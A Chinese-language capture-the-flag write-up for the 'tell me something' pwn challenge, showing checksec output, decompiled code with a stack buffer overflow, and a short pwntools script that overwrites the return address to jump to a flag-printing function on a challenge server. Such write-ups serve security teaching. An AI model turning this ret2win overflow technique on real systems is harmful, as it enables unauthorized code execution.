jarvisoj tell me something

# jarvisoj tell me something

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/jarvisoj_tell_me_something/guestbook'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

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# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h]

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

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good_game函数如下

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf; // [rsp+Fh] [rbp-9h]

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf = result;
    if ( (_BYTE)result == -1 )
      break;
    write(1, &buf, 1uLL);
  }
  return result;
}

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readmessage函数如下

ssize_t readmessage()
{
  __int64 v1; // [rsp+0h] [rbp-88h]

  return read(0, &v1, 0x100uLL);
}

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# 思路分析

目前信息：
- main函数可溢出
- good_game函数可直接打印flag
- No PIE
思路：
- 溢出控制程序执行流到good_game即可获得flag

# exp

from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_tell_me_something/guestbook'
io=remote('node4.buuoj.cn',28491)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 136
good_game=elf.symbols['good_game']
payload=flat(['a'*padding,good_game])
io.recv()
io.send(payload)
io.interactive()

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#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

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